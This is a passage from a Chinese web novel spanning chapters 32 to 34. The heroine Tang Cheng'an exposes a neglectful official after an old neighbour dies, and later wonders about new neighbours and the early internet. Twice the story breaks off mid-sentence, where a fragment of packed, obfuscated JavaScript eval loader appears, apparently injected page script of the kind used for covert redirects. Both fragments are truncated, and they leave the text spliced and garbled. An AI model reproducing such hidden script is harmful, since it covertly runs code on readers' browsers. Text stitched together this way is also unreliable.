“他太拧巴了……”老院长语气忽然变得沉重,眉眼仿佛因载满了心事而耷拉下来。 “可谨小慎微的步子注定是走不远的。” 即使魏寻已经离开她至少五年,但老院长眼角沟壑仍然流露出对他恒久不变且毫无保留的挂牵。 因痛风而肿大的手指关节与瘦弱的手背格格不入,微微佝偻着的后背也许是因为承担了太多苍白无力和念念不舍。 窗外乔木落下最后一片枯叶,缓缓落在地上打着旋儿,枝干迎风摇曳的身影孤单落寞。 面对无能为力的四季轮回,它似乎也只能以这种方式道别。 人们相遇又离别,何尝不是用一生来放手。 总之唐成安昨夜没有睡好—— 不知道是因为张文平,还是因为魏寻。 - 加上老院长的帮助,二人这才知道张文平如今具体的工作地点。 省城的地域范围可谓是将近有南州两倍大,从老院长住处赶去张文平工作地点也要花费半小时车程。 这么一来回折腾,让晕车的唐成安几乎只剩下一缕魂魄苦苦支撑,压根打不起精神,整个人几乎是在魏寻的搀扶下才软绵绵站住脚跟。 然而面前修建得像私人宅邸一般富丽堂皇的公务建筑倒是让她瞬间清醒,没走到大门看见“人民政府”那几个大字之前,唐成安甚至以为这是个公园景区。 米白色的石材和金边一起装饰主楼,刚进门就是精心布置的园林,人造湖泊左右两处各一边,湖面上还大费周章搭建了一座只有几步长的小石桥。 从某种角度而言,政府拨款倒也算“落到实处”。 “您好,我们想找张文平张科长。”唐成安表明来意。 前台接待员是个漂亮的小姑娘,见到他们的第一眼却先上下打量了好几遍,随后又扯出一个渗人的假笑: “这里见领导是需要提前预约的,请问二位有预约吗?” 唐成安听了只觉得这简直是天大的荒唐事。 这些高居官位的大爷们,天天嘴上挂着为人民服务的标语,结果见一面居然要求排队预约。 要是人民百姓真的有事相求,难不成还要拿着预约号等这些大腹便便的家伙排出档期? “我们找他比较急,麻烦你现在和他说一下吧。”唐成安压下无语脸色,尽量保持客气。 “好的,那我问一下科长,”小姑娘拿起线内电话拨下号码,“你们二位是什么身份?” 唐成安:“我们是他老乡。” 没想到此话一出,小姑娘甚至还没等电话接通便果断挂断,大手一挥指向门口,做出赶人的手势。 “不好意思,科长交代过,老乡一律不见。” 我个暴脾气——这不要脸的张文平还故作委屈,先一步翻脸不认人了? 唐成安顿时怒火中烧,撸起袖子管他三七二十一,直接一股脑冲到门口质问。 她就不信在这法治社会,这些人还能明目张胆在监控底下堵嘴不成? 幸亏唐成泰对自己的小妹早有预料,提前留好魏寻这个后手,这才拉住她没惹出大麻烦。 怎奈唐成安这个倔脾气也不是什么善罢甘休的人,魏寻费了相当大的功夫才把她劝下,好声好气哄着才半推半就出了大厅。 不过这回唐成安可是吃了秤砣铁了心,原本只对魏寻收敛的脾气,如今也露了馅儿一般气呼呼地和他闹别扭,别过头愣是不看他一眼。 面对第一次在自己面前生闷气的唐成安,魏寻一时间实在不懂应该如何安慰,两只手暗暗捏着衣角不知所措。 “成,成安,”他清楚沉默无法解决问题,便想开口说点什么,“我觉得……” 然而唐成安口袋里响起的来电铃声将他打断,刚想说出口的话又咽回肚子。 唐成安接起电话,对面传来唐成泰的声音。 “喂?你打电话来干什么?”唐成安语气中还带有怒气,显然气得不轻。 唐成泰:“你们找到张文平了没?” “找到了,这个畜生只要是南州来的他都不见。” 唐成安想到这就牙痒痒,一脚踢开阶梯上的落叶,叶片因受力瞬间碎成几大块,被微风一刮就不见踪影,可是无能为力的她也只能以这种方式暗戳戳发泄。 “哎呀,你们别找了,”对面不知道发生了什么,唐成泰语气很焦灼,“赶紧回来吧。” “怎么了?” 唐成泰停顿了几秒,缓缓吐出一句: “张伯去世了。” 32. 《非诚勿扰》 “张伯去世了。” 不同于往日里没正型的模样,唐成泰声音难得低沉压抑,短短几个字如同利刃一般在心上划出血淋淋的伤口。 其实自从那次突然的晕倒之后,张伯身体条件便每况愈下,唐成安早有心理准备。 她明白自己挽回不了结局,只不过没想到,原本能坚持两个月的生命,在心灰意冷下连半月都是煎熬。 “为什么不等我啊!” 从南州到省城一路颠簸,奔波的疲惫早已使唐成安精疲力尽,然而突如其来的噩耗更是压死骆驼的最后一根稻草。 她明明已经在拼命抢时间了,可是老天依然高高在上蔑视她所做的一切努力,告诉她自己是多么愚蠢又无力。 “为什么不等我……” 这位南州小霸王倔强的脊骨终于在重压下击溃,心脏一阵阵的抽搐拽得她浑身颤抖,声音哽咽得几乎无法成形。 魏寻默默看着她抱头崩溃的样子心如刀绞,他想要伸手将她紧紧拥入怀中,但也明白此时此刻任何言语都是那么苍白无力。 他悬停在半空中的手转而轻抚上唐成安的头顶,青筋凸起的肩颈诉说着女孩无可奈何后的妥协。 唐成泰也是有人转告才得知张伯去世的消息,电话来自县人民医院急诊室。 张伯生命的最后一秒是在检测仪的滴滴报警声中度过,身边围绕的尽是不认识的医生和护士。 他最终还是没能如愿以偿在唯一有爱人气味的地方合眼,深棕色的碘酒消去了他仅剩的一缕气息。 可是他死得又似乎恰得其所——没有哭嚎,没有虚伪,没有人特别爱他,也没有人特别恨他。 所有的一切回归平静,如同他孑然一身选择独自留在信号台一般沉寂。 魏寻没有安慰的话,只是半跪在唐成安身边,默默陪伴她每分每秒。 不知过去多久,唐成安的啜泣声渐渐减弱下来,终于抬起满是泪痕的脸庞,大哭一场后面色也变得苍白。 “走吧,我们回去。”她撑着魏寻的手臂缓缓起身,声线因痛哭早已沙哑。 魏寻将她扶稳,依然担心她的状态:“好,我去订车票,我们马上就回南州。” “不回南州,”唐成安仿佛用尽全身力气才弱弱说出一句,“今晚我想留在这里休息。” 魏寻不太明白她的用意,但唐成安此时此刻的精神状态实在过于令人忧心,他也不得不顺着她来。 简单同老院长交代了几句后,魏寻才敢暂时放开对唐成安的关注,他知道老院长一定有解决这件事的好办法。 客厅内壁钟滴答滴答按照设定正常转动,魏寻独自睡在沙发上心事重重,直到时针沿表盘绕过好几圈后,他才渐渐入睡。 也许是这一天经历太多波折,他这一晚睡得出奇的沉。 最后把他唤醒的不是提前定好的闹钟,而是语气焦急的老院长。 “阿寻,阿寻!你快醒醒!” 前一天奔走的疲惫顿时席卷而来,魏寻艰难地睁开惺忪双眼,浅浅按揉了几圈僵硬的腰背。 “怎么了?” “出大事了!”魏寻还是第一次看见老院长如此失态的神情,“一大早就有派出所民警打电话给你……成安,成安她……” 魏寻迅速从沙发上坐起:“成安怎么了?” “他们说要你去领走成安,成安今早犯事了哇!”老院长一脸自责,吐字因哭腔变得黏黏糊糊的,“都怪我不好,连她什么时候起床都没发现……” 也顾不上继续了解前因后果,魏寻急忙起身抽走外套,风风火火地出门打车赶去派出所。 还真就是一个晚上没看住便惹出大麻烦,按照唐成安这个急脾气,不会真把人给打了吧? 魏寻一想到这就心里一团乱麻。 等到他一路上快马加鞭赶到派出所后,乱哄哄的大厅不免让心脏又揪紧了一分。 大城市人群冗杂,形形色色的人拥挤在小小的大厅内,民警几乎已经被人海淹没。 魏寻顺着缝隙挤进去,好不容易找到一位周边稍微人少一点的警员,刚想找他询问唐成安的下落,衣角却被一股力量拉住。 回头一看,正是唐成安。 “我在这呢,”她眨巴眨巴眼,满脸无奈的样子,“你带我走吧。” 魏寻急忙转身扶住她的两只胳膊,上上下下仔细检查了个遍:“没事吧?” “没事呀,已经做完笔录了。”唐成安看上去倒是浑身轻松。 魏寻把她拉到空旷一点的角落质问:“到底什么情况?” 唐成安两只手往口袋里一插,懒懒散散地拖长音答非所问,像是故意惹他着急: “哈!就知道你就没有看今天的早间新闻。” “没,没看,走得太急,”魏寻没心思和她绕弯子,“所以到底怎么了?” 唐成安一脸计谋没得逞的丧气味,恹恹地交代: “没什么大事啦!就是我一大早去打印店打印了一百多张纸条,把张文平的恶行贴满了他单位的墙壁,让所有人都见识一下他的真面目。” “你是不是傻?”魏寻头一回发这么大火,“你这样可是犯法的!” 唐成安估计也是被吓到了,连忙上前替他拍拍背顺气,不敢再同他兜圈子。 “哎呀,你,你别生气嘛!”她由于着急解释,说话有点语无伦次,“我有分寸的,那些纸条上其实只写了一小部分,考虑到我有他更多把柄,张文平为了脸面是不敢继续追究的。” “你看,这不是民警只调解了一会儿就放我走了么?” “对付张文平这种人不能用暴力解决问题,一定要从他最珍视的地方下手,我想这次报导够他受几个处分了。”唐成安表情还很是得意洋洋。 魏寻依然不太理解:“你知不知道万一他真的追究起来,你是要面临行政拘留的?” “张文平回不回来那都是他自己的选择,你这么强行逼他回去属于道德绑架。” “这件事终归而言都是张伯的家事,我们身为外人本就不应该过多干涉。” 魏寻觉得此刻唐成安已经急火攻心分不清现实了,他必须把道理给她讲清楚。 可是唐成安听后脸色骤变,摇摇头从鼻腔里挤出一声嗤笑: “你知道张文平他干了什么吗?你真的以为只是因为他不来看望张伯,所以我死心眼非要找他麻烦?” 魏寻被她这么一声质问反倒弱了气势,支支吾吾无法反驳。 唐成安突变的情绪让他隐约感觉到——事情说不定不是自己想象的那么简单。 唐成安深深吸进一口气,双臂交叠着放在身前,尽力压下胸腔的怒火,把真相一五一十全部告诉了魏寻。 张文平那一年的逃跑并不是“净身出户”,早有准备的他不光一同带走了家中所有现金,甚至还有张伯的存折。 张伯是九十年代国企下岗工人,下岗前觉得养老保险太贵,缴费年限远远不足退休金领取要求。 刚下岗那会儿,张伯并没有因此放弃希望,用一部分工资买了一辆小摊车,着手做起麻辣烫生意。 两位老人家省吃俭用攒下的生活费,其实本来也足够二人养老,可是这一分一分的血汗钱,一夜之间全被张文平掏得分文不剩。 张文平走后不久张婶也抑郁而终,张伯无心继续经营麻辣烫,唯一的收入来源便同二人的亲情一般,彻底断裂开来。 找不到张文平,就找不到存折,没有存款,张伯只能靠着低保将就过下去。 也有不少人见张伯生活艰难,劝他把房子卖了,用其中一部分钱换一栋单人间,另外一部分还能给他自己改善改善伙食。 然而张伯决心不卖。 他担心张文平哪一天不生他的气了,偷偷从外面回来,要是没看见房子不知道会有多失望——他好像从来没有怨恨,他相信张文平总有一天会回来。 唐成安原以为前几年张伯决定出去务工,是他走出阴影最好的开始,哪怕只是在信号台守夜,怎么着也算是个正经工作。 有了工作,生活开销便有了保障,也许就不需要每个月都从那么一点点的低保里扣扣搜搜过日子。 直到后来才知道,信号台那边因为包食宿,给出的工资实在少的可怜,甚至比不上农贸市场里的菜贩。 反复折腾好几年,张伯还是只能依靠那么一百多块的低保紧巴巴活下去。 所以张伯的脑瘤其实并非有意拖延治疗,是实在没钱治疗——是为了等张文平回来而放弃治疗。 “魏寻,我知道是我多管闲事,”唐成安倔强地挺直脊背,声音里强压着哭腔,一字一句都顿挫有力,“可有些事情不能就这么算了啊……” 张伯的结局是他咎由自取吗? 让张文平吃几个处分就能换回张伯的命吗? 不干涉、旁观者、独善其身…… 这个社会什么时候变成理性高高在上,而感性却一文不值? 唐成安只觉得这世上有太多太多的不公平。 这些无可奈何就像庄稼上缠绕的藤蔓,人们不断的妥协最终只会换来让它滋长的养分,放任逐渐粗壮的枝蔓生长,终有一日将会变成盘踞在自己身上的枷锁,窒息而死。 哪怕头破血流也好,唐成安还是想试一试,就算她的力气微不足道,她也仍然愿意一锄头一锄头地挖下去。 她知道自己的想法在别人眼里听起来有多疯狂,可不懂的人又何必解释,索性就当自己在无理取闹吧。 唐成安擦去眼角泛起的泪花,暖阳高悬于天际,又是一天晴朗,她明白自己无需证明什么。 “你是对的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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北漂和创业失败,无论哪个,对于所有初出茅庐的年轻人来说都是棘手事一件。 然而能将那个曾经意气风发的少年打击成如今这幅丧气样的窘境,说不定远不止如此。 “他经历了什么或许我不得而知,八年里来来回回多少人我也不关心,可是只有你,”老院长轻轻握住唐成安的手,温暖而有力,“成安,至少你得一直陪在他身边啊!” 她的眼神变得更加深邃,唐成安从这双深沉的眼睛里读不出用意。 “老院长,您这是什么意思?” 她缓缓仰着头,目光慈爱地落在唐成安脸庞,语调柔和委婉道来。 1994年4月27日傍晚,离开福利院将近三年的魏寻突然敲响老院长办公室大门。 老院长一开门,见到这孩子跑得满头大汗,还以为是出了什么大事,赶紧把他拉到屋里准备替他擦拭汗水。 可是魏寻摇摇头拒绝了她的好意,气都还没喘匀便迫不及待在老院长眼前伸出手,两只手一展开,手心就露出一块巧克力。 「“院长,我找到您说的不能妥协的东西了”」 「“这就是我的私心。”」 那时院长还不明白他在说什么,拿着那块巧克力瞧了半天也没看出什么花样,以为是他学习太用功学魔怔了。 “后来我才想通,”老院长眼神坚定,本是因老态而浑浊的瞳眸忽地泛出光来,“这一定和你有关。” 老院长临走的一席话让唐成安听得摸不着头脑,短短几句之中的言外之意,她却怎么也猜不出个所以然。 4月27日……发生了什么吗? 怎么就和她有关了? “诶,魏寻,”唐成安最终还是决定向魏寻求助,“你还记得94年4月27日发生了什么么?” 这一问似乎也把魏寻难住了:“4月27日……我也没什么印象……” “不过4月20日那天是我闭关冲省城一中的日子,”魏寻偏头一笑,满眼都是美好,“这我倒是记得清楚。” 一语点醒梦中人,唐成安立刻顿悟了什么。 七天……如果是七天那就说得通了—— 因为魏寻决定闭关的第七天,同样也是她送出十封信的那天。 唐成安有点不敢继续想下去。 毕竟接下来的猜想,可能会颠覆她迷茫过的整整十年。 被紧咬住的下唇逐渐泛白,即便她极力调整呼吸也抑制不住胸腔中如鼓点般震颤的心跳。 如果老院长说的都是真的,是不是有可能——就算只有那么一点点可能—— 魏寻是喜欢过她的? 33. 《地下城与勇士》 关于张文平品行不端的报告接连宣扬了两三天,眼见压不住舆论,上头领导也不得不出面发言。 只不过碍于张文平亲爹的身份,官官相护到最后也只敢小降他几级。 唐成安其实本来就不是非要把他弄得身败名裂,所以这事儿后来就这么算了。 等到二人从省城回来,已经是张伯葬礼的第二天。 按照张伯临终遗言,整个葬礼都从简进行,街坊邻居也来了不少,终于显得他不那么孤单。 长辈们挑了个安静的山头下葬,他和张婶的墓地只有几步远,也算了却心愿。 张伯的事告一段落,然而唐成安还是闷闷不乐好几天。 老院长在临走前丢下的那段话她还是没能琢磨明白,她本想找魏寻问个究竟,可最后还是没那个胆量。 万一是自己自作多情了呢? 她好不容易收拾完小时候的烂摊子,虽然目前偶尔还是有些别扭,但总而言之还是能和魏寻相处得比较自在。 要是真就头脑一热问出口,不论魏寻回答是或者不是,都不知道应该怎么收场。 但她又忍不住在意,毕竟这可是对十二岁那段青□□恋最好的回应。 “哎呦哎呦!”唐成泰一声惊叫打断了唐成安的思绪,“你想什么呢?搞得我一身鸡毛。” 看着无所事事的唐成泰就来气,唐成安拿着鸡毛掸子憋一肚子火狠狠打过去: “就知道玩,就知道玩!大扫除你也不知道来帮我一下!” “诶诶诶,别打,别打!”唐成泰连忙护住耳机,“这耳机可是新买的,你别给我把漆刮花喽。” 唐成安看着他就止不住露出一脸恨铁不成钢的嫌弃样,虚张声势地在空中又挥了几下吓唬他。 “这有什么好生气的嘛?”唐成泰取下耳机念叨,“你管魏寻之前是不是喜欢你呢?反正现在你已经不喜欢他了,说什么都没用。” 此话一出,唐成安立即意识到自己竟然把心事自言自语都说出来了,甚至还被唐成泰听了个遍。 恼羞成怒的她又用鸡毛掸子连着打了好几下唐成泰,疼得他哎呦哎呦叫唤不停。 不过唐成泰气人归气人,他刚才说的话也不是完全胡闹。 是啊,何必纠结魏寻是不是喜欢她呢? 反正自己已经不喜欢魏寻了。 毕竟不尴不尬的十年时光,许多事情已经显得不再那么重要。 手上鸡毛掸子掉下一片残缺半边的鸡毛,轻飘飘在微风的推动下旋了几圈,晃晃悠悠落在唐成安的脚尖。 缠绕她几天的心事,仿佛也跟着这片鸡毛短暂落了地。 “你这又是花了多少钱买的?”回过神的唐成安看着唐成泰把耳机当宝贝护在怀里的样子,忍不住吐槽,“不会用的是为了过年存下的那部分钱吧?” 唐家一直有个不成文的规矩,不论这一年过得如何,反正到了春节是绝对不能亏待自己的。 因此唐家特地设立了一个“春节基金”,在唐成国离开家后,统一由唐成安放入保险箱代为保管,平常谁也不准动这笔钱。 “怎么可能?动那笔钱,我不想活了吗?”唐成泰说的倒像是真的,“是我最近跟着大哥参加了一个表演赛,得了点小钱,买了这幅耳机后还够买过年的糕点。” “哟,你这底层人民终于可以参加比赛啦?”唐成安对她二哥的水平心知肚明,“我怎么不信呢?” 眼见被戳破,脸上挂不住面子的唐成泰也只得老实交代:“哎呀,其实不是我参加比赛,是我的车被借走表演了,表演过程中出了点差错,赔了车子维修费。” “这耳机看着就不便宜,”唐成安从唐成泰脖子上取下耳机,发现牌子是索尼的,“赔了不少钱吧?你那车子还能用吗?” 唐成泰满不在乎:“我找朋友帮忙修修就行,本来就是旧车。” “车子坏了就别骑了,万一出事可划不来。”唐成安见唐成泰不靠谱的样子有些担心。 唐成泰还是心中有数地摆摆手:“不会不会,我心里有底。” “你自己有底就好,”唐成安不打算继续计较,“让我看看你都买回来什么糕点?” “不过你还真别说,”他突然离开座椅,从电视柜下的抽屉里翻找出了一个礼品盒,“现在刘姐家的金桔酥糕真是又好看又便宜。” “呀,刘姐什么时候出新包装了?” 唐成安接过礼品盒爱不释手,金灿灿的表面显得大气精致,过年当礼品送出去也不掉面子。 自从她拜托孙乐帮忙福处理食品安全证的事,期间又发生了不少插曲,已经很长时间没有与刘姐同步信息了。 没想到刘姐却越做越上手,如今找人设计的包装也无可挑剔。 “这一盒还是我找刘姐特地留的呢!这几天她的小店重新开张,排队的人都横到马路对面去了。”唐成泰多少有点邀功的意思。 唐成安一眼识破他那点小心思,嘴里还不忘损他几句:“你这无业游民用来干这事不正好?” “嘿!瞧你这话说的,”唐成泰开始狡辩,“我看魏寻也没好到哪里去吧?几乎天天看到他抱着个电脑神出鬼没,怎么看也不像是有固定工作的人。” “嘶——我怎么发现你最近总是喜欢说魏寻坏话呢?” 唐成安听他这话越听越觉得不对劲,上手就扯住唐成泰的耳朵,疼得他直叫唤。 “你你你,你胳膊肘别往哪拐呢?我才是你哥,亲哥!”唐成泰倒是有理有据,这会儿攀起血缘了。 唐成安才不吃他这套:“当然选魏寻哪,你有什么姿色让我选你啊?” “好你个唐成安,见色忘义!”唐成泰骂骂咧咧眼看就要撸起袖子和唐成安打起来,“看我不把你这事告诉大哥……” 然而还没等唐成泰心中复仇的小火苗燃烧旺盛,家里却“啪”的一声突然漆黑一片。 “什么情况?”唐成安一脸茫然,“你是不是忘交电费了?” 唐成泰插着个腰也不明所以:“没有啊,上周刚交的。” “难道是停电了?”唐成安想不出个究竟,蹲下来准备从抽屉里拿出蜡烛,无意中瞥到对面那户人家窗户还是灯火通明的,“不对啊,对面都亮着灯呢,应该没停电。” “你再说一遍?”唐成泰突然一惊一乍,“你是说对面?” “对啊,你自己来看嘛。”唐成安指了指窗外。 只不过这一指,不仅没换来唐成泰的靠近,反倒让他直接退到小院里,跑开了好几米远。 “你,你是不是糊涂了?”他扯着嗓子朝屋内的唐成安喊,说话都开始结巴,“你你你,你不记得那间屋子是什么了吗?” 唐成安不知道他又在折腾什么幺蛾子:“是什么啊?” 唐成泰:“我们小时候玩的鬼屋啊!” 唐成安被她二哥嚎的这一嗓子唤醒了回忆,脸色在烛光下都能看出泛起惨白。 其实对面那个房子也不是什么传说中闹鬼的凶宅,不过就是一间和唐家差不多构造的普通小院。 可是自从唐成安有记忆以来,就从来没有见人住过,甚至就连大她五岁的唐成泰对这间屋子也没什么印象,似乎早早就荒废了。 由于无人居住,屋子外面的小院堆积着不少废旧砖瓦,白墙上的爬山虎硬生生把整面砖墙铺成绿色,更别说里头那些不知名却长得比人还高的杂草。 小孩子总归还是顽皮的,唐成安刚上小学那会儿,就常常跟着她这位逃课的二哥在夜黑风高的氛围烘托下闯入这间屋子,当作鬼屋探险的游戏。 这黑了十几年的破屋如今突然亮起灯来,着实让人瘆得慌。 “你不是不怕这个吗?”唐成泰把问题抛给唐成安,自己则躲得远远的,“你,你去看看怎么回事。” 唐成安才不肯:“这还不都怨你!” 从小就大大咧咧像个泼猴的唐成安也不知哪来的一身正气,本来确实是不怕这些妖魔鬼怪的。 怎奈她身边这位随时自爆的二哥,在她才六七岁的年纪就故意把她一个人留在黑漆漆的屋子里,活生生留下了心理阴影。 天不怕地不怕的南州小霸王,还真就只怕两样东西——一个唐成国,一个破落屋。 “你,你再拉下电闸试试。”唐成安不中计,想出别的办法。 唐成泰硬着头皮跑到门外拉下电闸,屋内灯光重新亮起几秒后又突然灭了,他又反复拉了几次,然而这灯光就像眨眼睛一样,忽闪忽闪的让人抓不住。 “你别拉了!”唐成安忽然从客厅里跑出来,二话不说就死死抓着唐成泰的皮夹克不放,说话断断续续的,“那,那间屋子肯定有问题……我们家和那房子只能有一个亮……” 唐成安这话说得唐成泰浑身一僵,兄妹俩现在连自家家门都不敢进了。 室外寒冷的夜风毫无征兆地刮起,枯枝断裂的声音时不时从身后传来,氛围变得更加诡异。 “我们两个在这干站着也不行啊……”唐成泰小声嘟囔,“要不去找老爹吧……” 唐成安戳破他的幻想:“唐玉山那家伙对赌桌的敏感度都可以当私家侦探了,你还指望能找到他?” “唐玉山?”没等到唐成泰的回复,一句陌生的女声从身后轻飘飘响起,“你俩认识唐玉山?” 兄妹俩这下哪还站得住,吓得一个个都在原地跳起来,尤其是唐成泰,要不是被唐成安拉住外套,就差跑出火箭发射的势头了。 “这俩孩子咋了这是?”女人对他们的举动一头雾水。 相比这位不成器的二哥,唐成安还算冷静地偷偷睁开一条缝,上下打量后才发现眼前是个实实在在的人。 女人看着和唐玉山差不多年纪,体格却壮硕得像个大汉似的,中气十足的声线夹杂了东北口音和南州口音,不像是本地人。 “老王你过来瞧瞧,这俩孩子真有意思。”女人笑呵呵地招手,身后又不知道从哪冒出一个男人。 “哎呦,什么有意思啊,你把他们吓到了。”男人更有眼力见儿,语气温和下来,“你们别担心,我们不是坏人。” “你们是认识唐玉山吗?”男人又多问一句。 唐成安还没从惊吓之余缓过神,扯了扯唐成泰的袖子,怎料他这家伙自己把自己吓呆了,愣在旁边一声不吭。 “嗯。”唐成安只能自己硬着头皮顶上,“他是我爸。” “他,他是不是又欠钱了?”她总觉得陌生人点名找她这个倒霉老爹定然不是什么好事。 “不是不是,我们是后面那家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“三岁喽!正好被他妈送去上幼儿园,这才让我俩这年纪大的放放手。” “哎呦,都三岁啦?你们这真是儿孙满堂了哇!” 唐成泰用力一拍大腿高声感叹,唐成安只听前半句就能猜到他这老爹心里在打什么主意。 “不像我们家这几个,没一个省心的,全都是大光棍。” 果然,不出半句就能扯到催婚上。 “话说回来,怎么没见到成国?”王忠才仔细瞧了几眼兄妹俩,“你这是又生了两个女儿?” 唐玉山:“什么女儿啊?这个是我二儿子,也不知道哪根筋不对,非要留个长头发。” 好巧不巧,话题中心的唐成泰正好凑上来送茶,表面上乐呵呵的,心里却不知道正怎么数落他这位口无遮拦的老爹呢。 “哎呦,这总是你闺女了吧?”周小菊看着端茶过来的唐成安很是喜欢,“这姑娘长得真招人稀罕,也不像你也不像你媳妇儿,小脸儿真会长。” “嘿,说到点子上了,怎么成国和你媳妇两个人都没见着啊?”王忠才问道。 唐玉山满不在乎地摆摆手:“成国这不是跑货车还没回呢嘛。” “那女的二十多年前生下这个最小的就跑了,我们老唐家就当没这个人。” 话题说到尴尬的点上,王忠才便识相地闭了嘴,奈何周小菊是个愣头愣脑的,满眼心疼地看着唐成安:“哎呦,那这姑娘都没见过亲妈吧,看着怪可怜的。” 王忠才给她使了个眼神,可这位大姐就是个大大咧咧的主儿,完全没接住,不知分寸地正打算起身拥抱唐成安,好在中途被王忠才拦下了。 “没事没事,家里三个人不也挺热闹嘛,”王忠才迅速转移话题,“更何况现在我们回来了,肯定让你家更热闹。” 说着就和唐玉山聊起离开的二十多年,期间还时不时回忆往昔,热火朝天的气氛不知不觉就将刚刚的话题掩盖过去,像是心有灵犀般没人再提起。 在三位长辈的交谈中,唐成安趁机了解到一些关于这对夫妻的背景。 王忠才比唐玉山还大上几岁,是六十年代知青下乡才来到的南州,算是那个年代的高知分子,所以说话温和懂分寸。 因为能识字、会读书,村里人便安排他当了个村小的老师。 有一回被校长派去省城学习,机缘巧合下结识了从东北来到省城打工的周小菊。 周小菊对文质彬彬的王忠才一见钟情,不顾一切跟着他来到了南州,二人也在一年后结为伉俪。 期间的一次偶然,平常从不见打牌的王忠才,居然从“生死牌局”上将唐玉山解救出来,从此之后,唐玉山有事没事就会向他请教技巧,两人便因此成为了好友。 这份深厚友谊持续到了三十多年后的今天。 独自坐在一旁的唐成安看着三人滔滔不绝地分享闲聊,一声不吭。 倒不是因为插不上嘴,而是心里总有些不明来由的忐忑。 毕竟有了那个姓刘一家的前车之鉴,同唐玉山结交的人未必见得是什么善茬。 她只觉得,这来路不明的一家,还不足以完全放下戒心。 34. 百度贴吧 也许是因为昨晚无意提起却又被紧急掐断的那个话题,周小菊对唐成安似乎产生了些不明来由的情感。 她一大早便买好早餐守在唐家门口,等到唐成安打开门就迎面扑上来,将手中热乎的包子豆浆一股脑塞入唐成安怀里。 “成安,这些都是热乎的,你趁热吃嗷。”她说话气喘吁吁的,但还是细心交代。 莫名其妙被塞了一堆早餐的唐成安,还没来得及反应过来是怎么回事,周小菊便转身离开了。 她本想叫住周小菊,哪知一个抬头就找不到踪影。 唐成安没了办法,只能收下她的一片心意,日后再找机会答谢。 蒸腾的热气使得塑料袋紧紧粘在包子表皮,唐成安隔着袋子掰开馅料,发现是自己从没吃过的西葫芦鸡蛋馅。 西葫芦丝切得粗细均匀,与柔软蓬松的鸡蛋相互交缠在一起,香味清新又浓郁。 “什么东西这么香?”林雨涵寻着香气走进唐成安办公室,“成安姐,你在吃什么呢?” “西葫芦鸡蛋包,你要么?”唐成安从袋子里拿出一个。 “要要要!”林雨涵倒是不客气,“我正好没吃早饭呢。” 等唐成安从家门口走到办公室,这些烫手的包子也都差不多降到适宜的温度,林雨涵正好一口一个。 “好吃!”林雨涵显然也被这美味俘虏,“但是我怎么从来没见过哪家店会卖这个馅?成安姐,你在哪买的啊?” 她一语惊醒梦中人,唐成安显然有点愣住:“邻居给的,应,应该是她自己做的吧。” 林雨涵砸吧砸吧嘴,意犹未尽:“邻居做的啊?那她对你可真好。” 是啊,对她这么好,可是为什么呢? 他们一家明明很早就搬走了,甚至都不知道唐成泰这个人,更何况唐成安? 第一次见面就替她考虑得如此周到,难道是因为东北人自来熟吗? 唐成安只觉得王忠才和周小菊一家肯定没这么简单,莫名其妙的示好背后说不定有什么不可告人的秘密。 她想得出神,咀嚼的速度也慢了下来。 “呀!”林雨涵突然大惊小怪地叫了一声,指着唐成安的耳朵,“好漂亮的耳钉,成安姐你不是之前逛街的时候都没看中吗?这款又是哪买的呀?” 唐成安下意识摸了摸耳垂,发觉今天戴上的是前段时间魏寻送她的那款满天星。 但她又不想让林雨涵知道真相,于是随意敷衍过去:“啊,就一朋友送的。” “那你朋友可真有眼光,”幸好林雨涵没怀疑,“偶也好稀饭这个款式。” 唐成安:“稀,稀饭?你在说什么?” 林雨涵:“网络用语呀,就是‘喜欢’的意思,现在可流行这么说了,成安姐你也上上网吧。” 唐成安虽然是个才二十四的年轻人,但显然她并不是走在时代浪尖的那批。 暂且不说魏寻总是谈到的那些互联网、代码、程序之类的专有名词,就连林雨涵平时聊天时不时冒出一句网络语,她都不太能融入。 有时候她对网络的了解程度甚至比不上即将奔三的唐成泰,因此也不少次被他笑话“老古董”。 “现在网络上都流行什么?你都跟我说说。”唐成安不知怎的来了兴趣,就想一探究竟。 林雨涵被这么一问,特意挑选了一张软和的凳子在她面前坐下,似乎准备进行一番长篇大论: “其实我玩的也不多,大多时候都是上一上Q.Q,也会去天涯社区里的论坛参与一些感兴趣的话题,还有百.度.贴.吧,都挺火的。” “哦对,最近好像上线了一个叫新.浪.博客的平台,我还没怎么用过,据说可以当自己的网络日记。” 话匣子一打开,林雨涵仿佛像个专业人士一般,头头是道地和唐成安讲解这些新兴事物。 电脑已经不再是停留在扫雷和纸牌的时代,有条件的家庭会主动牵个网线,没条件的也常常赖在网吧,总之无论是谁都一定要注册各种交友账号,有个“网友”几乎成了当时可供炫耀的热词。 百.度、搜.狐都是人们的百科全书,土.豆.网则代替家家户户的电视机,汇集各种影视资源,成为炙手可热的头牌。 如果没有林雨涵的讲述,唐成安还真没意识到互联网已经渗入家家户户,影响力早已发展到不容忽视的程度。 而她明明每天上班都能接触到电脑,却整天只知道盯着绿油油的默认桌面,连扫雷都玩不明白,倒也确实是被时代潮流遗忘在沙滩上的那些人。 “成安姐,不会这些你都不知道吧?你们家难道没有电脑么?”林雨涵见她懵懂的样子不免困惑,“那几个月前唐叔哭天喊地到处宣扬你魔怔了,花六千块买了台电脑是怎么一回事?” 本来那次买电脑唐成安是想避开唐玉山的,奈何阴差阳错让他见到了拿着账单前来确认的工人,于是事情便一发不可收拾。 虽然最后是以唐成安态度强硬的呵斥收场,但不死心的唐玉山依然没少在别人面前倾诉苦水。 俗话说“家丑不可外扬”,到了唐玉山这里却似乎巴不得传遍天下彰显自己的委屈。 唐成安挡脸苦笑,对他这位老爹头疼不已:“不是,那是我买来送给魏寻的。” “六千块啊!”林雨涵大叫一声,“六千块的电脑你就用来送人啦?” 